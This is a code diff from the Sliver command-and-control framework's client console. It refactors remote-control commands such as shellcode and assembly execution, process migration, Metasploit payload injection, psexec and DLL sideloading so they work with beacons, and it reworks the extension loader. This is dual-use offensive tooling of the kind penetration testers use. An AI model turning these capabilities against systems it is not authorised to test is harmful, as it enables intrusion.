 func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
 	name := ctx.Args.String("name")
 	envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
 		Name:    name,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
-
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintGetEnvInfo(envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintGetEnvInfo(envInfo, con)
+	}
+}
 
+// PrintGetEnvInfo - Print the results of the env get command
+func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
+		return
+	}
 	for _, envVar := range envInfo.Variables {
 		con.Printf("%s=%s\n", envVar.Key, envVar.Value)
 	}

client/command/environment/set.go

@@ -22,15 +22,17 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // EnvSetCmd - Set a remote environment variable
 func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -46,12 +48,31 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Key:   name,
 			Value: value,
 		},
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if envInfo.Response != nil && envInfo.Response.Async {
+		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, envInfo)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSetEnvInfo(name, value, envInfo, con)
+		})
+		con.PrintAsyncResponse(envInfo.Response)
+	} else {
+		PrintSetEnvInfo(name, value, envInfo, con)
+	}
+
+}
+
+// PrintSetEnvInfo - Print the set environment info
+func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
 	if envInfo.Response != nil && envInfo.Response.Err != "" {
 		con.PrintErrorf("%s\n", envInfo.Response.Err)
 		return

client/command/environment/unset.go

@@ -22,14 +22,16 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // EnvUnsetCmd - Unset a remote environment variable
 func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -41,16 +43,34 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
 		Name:    name,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if unsetResp.Response != nil && unsetResp.Response.Async {
+		con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, unsetResp)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintUnsetEnvInfo(name, unsetResp, con)
+		})
+		con.PrintAsyncResponse(unsetResp.Response)
+	} else {
+		PrintUnsetEnvInfo(name, unsetResp, con)
+	}
 
-	if unsetResp.Response != nil && unsetResp.Response.Err != "" {
-		con.PrintErrorf("%s\n", unsetResp.Response.Err)
+}
+
+// PrintUnsetEnvInfo - Print the set environment info
+func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
+	if envInfo.Response != nil && envInfo.Response.Err != "" {
+		con.PrintErrorf("%s\n", envInfo.Response.Err)
 		return
 	}
 	con.PrintInfof("Successfully unset %s\n", name)

client/command/exec/execute-assembly.go

@@ -32,7 +32,7 @@ import (
 
 // ExecuteAssemblyCmd - Execute a .NET assembly in-memory
 func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -60,7 +60,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:   con.ActiveSession.Request(ctx),
+		Request:   con.ActiveTarget.Request(ctx),
 		IsDLL:     isDLL,
 		Process:   process,
 		Arguments: strings.Join(assemblyArgs, " "),

client/command/exec/execute-shellcode.go

@@ -37,7 +37,7 @@ import (
 
 // ExecuteShellcodeCmd - Execute shellcode in-memory
 func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -65,7 +65,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		Data:     shellcodeBin,
 		RWXPages: ctx.Flags.Bool("rwx-pages"),
 		Pid:      uint32(pid),
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl
@@ -82,7 +82,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 
 func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
 	// Check active session
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -104,7 +104,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
 
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
-		Request:   con.ActiveSession.Request(ctx),
+		Request:   con.ActiveTarget.Request(ctx),
 		Path:      hostProc,
 		EnablePTY: !noPty,
 		TunnelID:  tunnel.ID,
@@ -121,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
 	con.SpinUntil(msg, ctrl)
 	_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 		Pid:      pid,
 		Data:     shellcode,
 		RWXPages: rwxPages,

client/command/exec/execute.go

@@ -28,7 +28,7 @@ import (
 
 // ExecuteCmd - Run a command on the remote system
 func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -36,38 +36,58 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	cmdPath := ctx.Args.String("command")
 	args := ctx.Args.StringList("arguments")
 	output := ctx.Flags.Bool("silent")
+	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+	stdout := ctx.Flags.String("stdout")
+	stderr := ctx.Flags.String("stderr")
 	token := ctx.Flags.Bool("token")
 	var exec *sliverpb.Execute
 	var err error
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
 	if token {
 		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
-			Request: con.ActiveSession.Request(ctx),
+			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
 			Output:  !output,
+			Stderr:  stderr,
+			Stdout:  stdout,
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-			Request: con.ActiveSession.Request(ctx),
+			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
 			Output:  !output,
+			Stderr:  stderr,
+			Stdout:  stdout,
 		})
 	}
+	ctrl <- true
+	<-ctrl
 
 	if err != nil {
 		con.PrintErrorf("%s", err)
 	} else if !output {
+		combined := ""
+		if stdout == "" {
+			combined = exec.Stdout
+			con.PrintInfof("Output:\n%s", exec.Stdout)
+		} else {
+			con.PrintInfof("StdOut saved at %s\n", stdout)
+		}
+		if !ignoreStderr && stderr == "" {
+			combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
+			con.PrintInfof("StdErr:\n%s", exec.Stderr)
+		} else {
+			con.PrintInfof("Stderr saved at %s\n", stderr)
+		}
 		if exec.Status != 0 {
 			con.PrintErrorf("Exited with status %d!\n", exec.Status)
-			if exec.Result != "" {
-				con.PrintInfof("Output:\n%s\n", exec.Result)
-			}
 		} else {
-			con.PrintInfof("Output:\n%s\n", exec.Result)
-			if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
+			if ctx.Flags.Bool("loot") && 0 < len(combined) {
 				name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
-				err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
+				err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
 				if err != nil {
 					con.PrintErrorf("Failed to save output as loot: %s\n", err)
 				} else {

client/command/exec/migrate.go

@@ -26,19 +26,19 @@ import (
 
 // MigrateCmd - Windows only, inject an implant into another process
 func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
+	session := con.ActiveTarget.GetSession()
 	if session == nil {
 		return
 	}
 
 	pid := ctx.Args.Uint("pid")
-	config := con.GetActiveSliverConfig()
+	config := con.GetActiveSessionConfig()
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
 		Pid:     uint32(pid),
 		Config:  config,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/msf-inject.go

@@ -31,7 +31,7 @@ import (
 
 // MsfInjectCmd - Inject a metasploit payload into a remote process
 func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -58,7 +58,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		payloadName, session.OS, session.Arch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
-		Request:    con.ActiveSession.Request(ctx),
+		Request:    con.ActiveTarget.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),

client/command/exec/msf.go

@@ -31,7 +31,7 @@ import (
 
 // MsfCmd - Inject a metasploit payload into the current remote process
 func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -52,7 +52,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		payloadName, session.OS, session.Arch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
-		Request:    con.ActiveSession.Request(ctx),
+		Request:    con.ActiveTarget.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),

client/command/exec/psexec.go

@@ -26,6 +26,7 @@ import (
 	"time"
 
 	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -36,7 +37,7 @@ import (
 
 // PsExecCmd - psexec command implementation.
 func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -55,7 +56,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
 		con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
 		con.PrintWarnf("You might want to change that before going further...\n")
-		if !con.IsUserAnAdult() {
+		if !settings.IsUserAnAdult(con) {
 			return
 		}
 	}
@@ -96,7 +97,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Encoder: "gzip",
 		Data:    uploadGzip,
 		Path:    filePath,
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	uploadCtrl <- true
 	<-uploadCtrl
@@ -119,7 +120,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
 		BinPath:            binaryPath,
 		Hostname:           hostname,
-		Request:            con.ActiveSession.Request(ctx),
+		Request:            con.ActiveTarget.Request(ctx),
 		ServiceDescription: serviceDesc,
 		ServiceName:        serviceName,
 		Arguments:          "",
@@ -142,7 +143,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Hostname:    hostname,
 			ServiceName: serviceName,
 		},
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	removeChan <- true
 	<-removeChan

client/command/exec/sideload.go

@@ -21,6 +21,8 @@ import (
 	"io/ioutil"
 	"os"
 	"path"
+	"path/filepath"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -29,7 +31,7 @@ import (
 
 // SideloadCmd - Sideload a shared library on the remote system
 func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
+	session := con.ActiveTarget.GetSession()
 	if session == nil {
 		return
 	}
@@ -38,22 +40,24 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	entryPoint := ctx.Flags.String("entry-point")
 	processName := ctx.Flags.String("process")
-	args := ctx.Flags.String("args")
+	args := strings.Join(ctx.Args.StringList("args"), " ")
 
 	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
+	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
 	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-		Request:     con.ActiveSession.Request(ctx),
+		Request:     con.ActiveTarget.Request(ctx),
 		Args:        args,
 		Data:        binData,
 		EntryPoint:  entryPoint,
 		ProcessName: processName,
 		Kill:        !ctx.Flags.Bool("keep-alive"),
+		IsDLL:       isDLL,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/spawndll.go

@@ -15,7 +15,7 @@ import (
 
 // SpawnDllCmd - Spawn execution of a DLL on the remote system
 func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
+	session := con.ActiveTarget.GetSession()
 	if session == nil {
 		return
 	}
@@ -36,7 +36,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		ProcessName: processName,
 		Args:        dllArgs,
 		EntryPoint:  exportName,
-		Request:     con.ActiveSession.Request(ctx),
+		Request:     con.ActiveTarget.Request(ctx),
 		Kill:        !ctx.Flags.Bool("keep-alive"),
 	})
 

client/command/exec/ssh.go

@@ -19,7 +19,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		privKey []byte
 		err     error
 	)
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -58,7 +58,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		PrivKey:  privKey,
 		Password: password,
 		Command:  strings.Join(command, " "),
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/extensions/README.md

@@ -0,0 +1,62 @@
+Extensions
+====
+
+Allows to load and execute 3rd party extensions.
+
+Extensions must be loaded from a directory with the following architecture:
+
+```shell
+/path/to/extension/folder/
+├── manifest.json
+└── windows
+    ├── 386
+    │   └── extension.x86.dll
+    └── amd64
+        └── extension.x64.dll
+```
+
+The extension folder structure must follow the `GOOS/GOARCH/` scheme.
+
+Here's an example manifest:
+
+```json
+[
+{
+    "name": "foo",
+    "help": "Help for foo command",
+    "entrypoint": "RunFoo",
+    "init" :"NimMain",
+    "dependsOn": "bar",
+    "files": [
+        {
+            "os": "windows",
+            "files":{
+                "x86": "extension.x86.o",
+                "x64": "extension.x64.o",
+            }
+        }
+    ],
+    "arguments": [
+        {"name": "pid", "type": "int", "desc": "pid", "optional": false},
+    ]
+}
+]
+```
+
+The structure is the following one:
+
+- `name`: name of the extension, which will also be the name of the command in the sliver client
+- `help`: the documentation for the new command
+- `entrypoint`: the name of the exported function to call
+- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
+- `init`: the initialization function name (if relevant, can be omitted)
+- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
+- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
+
+The `type` of an argument can be one of the following:
+
+- `string`: regular ASCII string
+- `wstring`: string that will be UTF16 encoded
+- `int`: will be parsed as a 32 bit unsigned integer
+- `short`: will be parsed as a 16 bit unsigned integer
+- `file`: a string to a file path on the client side which content will be passed to the BOF

client/command/extensions/load.go

@@ -1,26 +1,11 @@
 package extensions
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
+	"bytes"
 	"context"
+	"encoding/binary"
 	"encoding/json"
+	"errors"
 	"fmt"
 	"io/ioutil"
 	"os"
@@ -28,80 +13,59 @@ import (
 	"path/filepath"
 	"strings"
 
-	"github.com/bishopfox/sliver/client/command/help"
+	"golang.org/x/text/encoding/unicode"
+
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
 const (
 	defaultTimeout = 60
-
-	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
-	linuxDefaultHostProc   = "/bin/bash"
-	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
 )
 
-var commandMap map[string]extension
-var defaultHostProc = map[string]string{
-	"windows": windowsDefaultHostProc,
-	"linux":   windowsDefaultHostProc,
-	"darwin":  macosDefaultHostProc,
-}
+var commandMap map[string]extensionCommand
 
+type extensionCommand struct {
+	Name       string              `json:"name"`
+	Help       string              `json:"help"`
+	Files      []extensionFiles    `json:"extFiles"`
+	Arguments  []extensionArgument `json:"arguments"`
+	Entrypoint string              `json:"entrypoint"`
+	DependsOn  string              `json:"dependsOn"`
+	Init       string              `json:"init"`
+	Path       string
+}
 type binFiles struct {
 	Ext64Path string `json:"x64"`
 	Ext32Path string `json:"x86"`
 }
 
-type extFile struct {
+type extensionFiles struct {
 	OS    string   `json:"os"`
 	Files binFiles `json:"files"`
 }
 
-type extensionCommand struct {
-	Name           string    `json:"name"`
-	Entrypoint     string    `json:"entrypoint"`
-	Help           string    `json:"help"`
-	LongHelp       string    `json:"longHelp"`
-	AllowArgs      bool      `json:"allowArgs"`
-	DefaultArgs    string    `json:"defaultArgs"`
-	ExtensionFiles []extFile `json:"extFiles"`
-	IsReflective   bool      `json:"isReflective"`
-	IsAssembly     bool      `json:"IsAssembly"`
+type extensionArgument struct {
+	Name     string `json:"name"`
+	Type     string `json:"type"`
+	Desc     string `json:"desc"`
+	Optional bool   `json:"optional"`
 }
 
-func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
-	proc, ok := defaultHostProc[targetOS]
-	if !ok {
-		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
-	}
-	return
-}
-
-type extension struct {
-	Name     string             `json:"extensionName"`
-	Commands []extensionCommand `json:"extensionCommands"`
-	Path     string
-}
-
-func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
-	for _, c := range e.Commands {
-		if cmdName == c.Name {
-			for _, ef := range c.ExtensionFiles {
-				if targetOS == ef.OS {
-					switch targetArch {
-					case "x86":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
-					case "x64":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					default:
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					}
-				}
+func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, ef := range e.Files {
+		if targetOS == ef.OS {
+			switch targetArch {
+			case "386":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
+			case "amd64":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
+			default:
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
 			}
-
 		}
 	}
 	if filePath == "" {
@@ -110,136 +74,237 @@ func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch
 	return
 }
 
-func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
-	for _, x := range e.Commands {
-		if x.Name == name {
-			extCmd = &x
-			return
-		}
-	}
-	err = fmt.Errorf("no extension command found for name %s", name)
-	return
-}
-
-// LoadExtensionCmd - Locally load an extension into the Sliver shell.
-func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-
+func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	dirPath := ctx.Args.String("dir-path")
-	if dirPath == "" {
-		con.PrintErrorf("Please provide an extension path\n")
+	extCmds, err := ParseExtensions(dirPath)
+	if err != nil {
 		return
 	}
 
-	// retrieve extension manifest
-	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
+	for _, extCmd := range extCmds {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, con.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			continue
+		}
+		RegisterExtensionCommand(extCmd, con)
+		con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
+	}
+}
+
+func ParseExtensions(extPath string) ([]*extensionCommand, error) {
+	manifestPath := filepath.Join(extPath, "manifest.json")
 	jsonBytes, err := ioutil.ReadFile(manifestPath)
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		return nil, err
 	}
-	// parse it
-	ext := &extension{}
-	err = json.Unmarshal(jsonBytes, ext)
+	extensionsCmds := make([]*extensionCommand, 0)
+	err = json.Unmarshal(jsonBytes, &extensionsCmds)
 	if err != nil {
-		con.PrintErrorf("Error loading extension: %v", err)
-		return
+		return nil, err
 	}
-	ext.Path = dirPath
-	// for each extension command, add a new app command
-	for _, extCmd := range ext.Commands {
-		// do not add if the command already exists
-		if cmdExists(extCmd.Name, ctx.App) {
-			con.PrintErrorf("%s command already exists\n", extCmd.Name)
-			return
-		}
-		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
-
-		// Have to use a global map here, as passing the extCmd
-		// either by value or by ref fucks things up
-		commandMap[extCmd.Name] = *ext
-		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
-		extArgs := func(a *grumble.Args) {}
-		if extCmd.AllowArgs {
-			extArgs = func(a *grumble.Args) {
-				a.StringList("arguments", "arguments", grumble.Default([]string{}))
-			}
-		}
-		ctx.App.AddCommand(&grumble.Command{
-			Name:     extCmd.Name,
-			Help:     helpMsg,
-			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
-			Args:     extArgs,
-			Run: func(extCtx *grumble.Context) error {
-				con.Println()
-				runExtensionCommand(extCtx, con)
-				con.Println()
-				return nil
-			},
-			Flags: func(f *grumble.Flags) {
-				if extCmd.IsAssembly {
-					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
-					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
-					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-				}
-				f.String("p", "process", "", "Path to process to host the shared object")
-				f.Bool("s", "save", false, "Save output to disk")
-				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			},
-			HelpGroup: consts.ExtensionHelpGroup,
-		})
+	for _, extCmd := range extensionsCmds {
+		extCmd.Path = extPath
+		commandMap[extCmd.Name] = *extCmd
 	}
-	con.PrintInfof("%s extension has been loaded\n", ext.Name)
+	return extensionsCmds, nil
 }
 
-func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
+	commandMap[extCmd.Name] = *extCmd
+	helpMsg := extCmd.Help
+	extensionCmd := &grumble.Command{
+		Name: extCmd.Name,
+		Help: helpMsg,
+		Run: func(extCtx *grumble.Context) error {
+			con.Println()
+			runExtensionCmd(extCtx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Bool("s", "save", false, "Save output to disk")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			if len(extCmd.Arguments) > 0 {
+				// BOF specific
+				for _, arg := range extCmd.Arguments {
+					var (
+						argFunc      func(string, string, ...grumble.ArgOption)
+						defaultValue grumble.ArgOption
+					)
+					switch arg.Type {
+					case "int", "short":
+						argFunc = a.Int
+						defaultValue = grumble.Default(0)
+					case "string", "wstring", "file":
+						argFunc = a.String
+						defaultValue = grumble.Default("")
+					}
+					if arg.Optional {
+						argFunc(arg.Name, arg.Desc, defaultValue)
+					} else {
+						argFunc(arg.Name, arg.Desc)
+					}
+				}
+			} else {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			}
+		},
+		HelpGroup: consts.ExtensionHelpGroup,
+	}
+	con.App.AddCommand(extensionCmd)
+}
+
+func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
+
+	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("Error: %s", err)
+		return
+	}
+
+	if extList.Response != nil && extList.Response.Err != "" {
+		con.PrintErrorf("Error: %s", extList.Response.Err)
+		return
+	}
+	if len(extList.Names) > 0 {
+		con.PrintInfof("Loaded extensions:\n")
+		for _, ext := range extList.Names {
+			con.Printf("- %s\n", ext)
+		}
+	}
+}
+
+func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
+	var extensionList []string
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	if err != nil {
+		return err
+	}
+	// Try to find the extension in the loaded extensions
+	if len(session.Extensions) == 0 {
+		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
